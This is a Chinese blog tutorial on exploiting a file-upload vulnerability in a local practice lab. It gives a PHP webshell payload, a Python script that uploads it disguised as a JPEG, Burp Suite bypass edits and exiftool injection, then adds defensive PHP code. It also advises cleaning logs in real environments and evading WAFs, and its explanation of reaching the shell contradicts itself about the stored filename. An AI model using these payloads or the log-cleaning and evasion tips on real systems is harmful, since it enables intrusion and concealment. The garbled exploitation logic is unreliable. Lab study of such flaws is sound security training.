文件上传漏洞渗透实战:BP与Python脚本双解法

📅 2026/8/3 15:35:51 👁️ 阅读次数 📝 编程学习
文件上传漏洞渗透实战:BP与Python脚本双解法

1. 文件上传漏洞渗透实战:BP与脚本双解法剖析

在Web安全测试中,文件上传漏洞始终是高风险漏洞的典型代表。最近在准备CISP-PTE认证考试时,我遇到了一个经典的文件上传靶场挑战,需要突破服务端对上传文件的限制。通过这个案例,我想分享两种截然不同但都行之有效的渗透方法:Burp Suite手动拦截修改(BP法)和Python自动化脚本攻击(脚本法)。

这个靶场的环境模拟了真实网站常见的上传功能,表面上看只允许上传图片文件(如.jpg/.png),但实际上存在服务端验证不严的问题。作为渗透测试人员,我们需要找到绕过限制的方法,最终实现任意文件上传并获取系统权限。下面我就详细拆解这两种技术路线的具体实施步骤和原理差异。

2. 环境准备与漏洞分析

2.1 靶场环境搭建

首先需要配置测试环境,我使用的是OWASP Broken Web Applications (BWA)中的上传漏洞模块,你也可以用DVWA的File Upload模块。关键是要确保环境满足以下条件:

  • 服务端有文件上传接口
  • 前端有扩展名白名单验证(如仅允许.jpg/.png)
  • 服务端存在验证缺陷(如未检测文件头或二次渲染)

重要提示:所有测试务必在授权环境下进行,我使用的是本地搭建的漏洞实验环境,IP为192.168.1.100,上传页面地址为/upload.php

2.2 漏洞原理深度解析

这个漏洞的核心在于服务端验证机制存在缺陷。通常安全的文件上传应该包含:

  1. 前端扩展名检查(容易被绕过)
  2. 服务端MIME类型验证
  3. 文件内容头检查(如PNG文件头)
  4. 文件二次渲染(最安全但成本高)

而存在漏洞的系统往往只做了第1步或第1+2步。通过分析HTTP请求我们发现,服务端仅检查了Content-Type和文件名后缀,这就为绕过创造了条件。

3. Burp Suite手动渗透实战

3.1 基础抓包与拦截

首先配置Burp Suite:

  1. 启动Burp并设置浏览器代理(默认127.0.0.1:8080)
  2. 访问上传页面,选择一张正常图片上传
  3. 在Burp的Proxy→Intercept选项卡中开启拦截

关键请求参数示例:

POST /upload.php HTTP/1.1 Content-Type: multipart/form-data ... Content-Disposition: form-data; name="file"; filename="test.jpg" Content-Type: image/jpeg

3.2 绕过验证的三重攻击

方法一:修改Content-Type 将image/jpeg改为text/php,同时保持文件名为test.jpg。有些系统仅检查MIME类型。

方法二:双扩展名攻击 修改filename为"test.php.jpg",利用解析顺序漏洞。

方法三:空字节截断 使用test.php%00.jpg,老版本PHP会截断%00后的内容。

实际测试发现该靶场对方法二敏感,成功上传.php文件的关键请求:

filename="shell.php.jpg" Content-Type: image/jpeg [正常的PHP shell内容]

3.3 获取WebShell

上传成功后,访问http://192.168.1.100/uploads/shell.php.jpg却返回404。这是因为:

  • 服务端存储时保留了完整文件名
  • 但Apache配置了.php后缀解析

实际应该访问http://192.168.1.100/uploads/shell.php(去掉.jpg),成功执行系统命令。

4. Python自动化脚本攻击

4.1 脚本设计思路

当需要批量测试或面对复杂验证时,手动操作效率低下。我的自动化脚本实现以下功能:

  1. 自动生成含恶意代码的图片文件
  2. 模拟表单提交
  3. 自动修改请求头和文件名
  4. 检测上传结果

4.2 关键代码实现

import requests import random url = "http://192.168.1.100/upload.php" fake_jpg = b'\xFF\xD8\xFF\xE0' + b'<?php system($_GET["cmd"]); ?>' files = { 'file': ('shell.php.jpg', fake_jpg, 'image/jpeg') } proxies = {'http': 'http://127.0.0.1:8080'} r = requests.post(url, files=files, proxies=proxies) print(r.status_code, r.text)

4.3 高级绕过技巧

针对更严格的验证,脚本可以:

  1. 添加真实的图片内容+PHP代码(混合文件)
  2. 使用Exif注入:exiftool -Comment='<?php system($_GET["cmd"]); ?>' test.jpg
  3. 尝试.htaccess文件上传覆盖

5. 防御方案与检测方法

5.1 安全开发建议

作为开发人员应该:

  1. 使用白名单而非黑名单
  2. 文件重命名(如MD5值+固定后缀)
  3. 存储到非Web目录
  4. 使用云存储服务中转

示例安全代码(PHP):

$allowed = ['jpg', 'png']; $ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)); if(!in_array($ext, $allowed)) { die("Invalid file type"); } $new_name = md5_file($_FILES['file']['tmp_name']).'.'.$ext; move_uploaded_file($_FILES['file']['tmp_name'], '/non_web_path/'.$new_name);

5.2 渗透测试检查清单

测试时应验证:

  1. 不同扩展名组合(php3, phtml等)
  2. 大小写变种(PhP, JPG等)
  3. 特殊字符处理(空格、分号等)
  4. 竞争条件攻击(快速上传+访问)

6. 实战中的经验教训

在多次测试中,我总结了这些关键点:

  1. 浏览器缓存可能导致误判,每次测试后要清除缓存
  2. 某些WAF会检查请求频率,脚本需要添加随机延迟
  3. 真实环境中要注意日志清理,测试时使用虚拟环境
  4. 上传后不一定能立即执行,可能需要等待扫描周期

最有效的攻击组合往往是:

  1. 先用BP手动测试找出有效载荷
  2. 再用脚本批量尝试变种
  3. 最后编写定制化EXP实现稳定利用

这个案例完美展示了渗透测试中手工测试与自动化工具的互补关系。两种方法各有优劣:BP法更灵活直观,适合复杂场景调试;脚本法则效率更高,适合批量验证。掌握这两种技能,就能在CISP-PTE考试和真实渗透测试中游刃有余。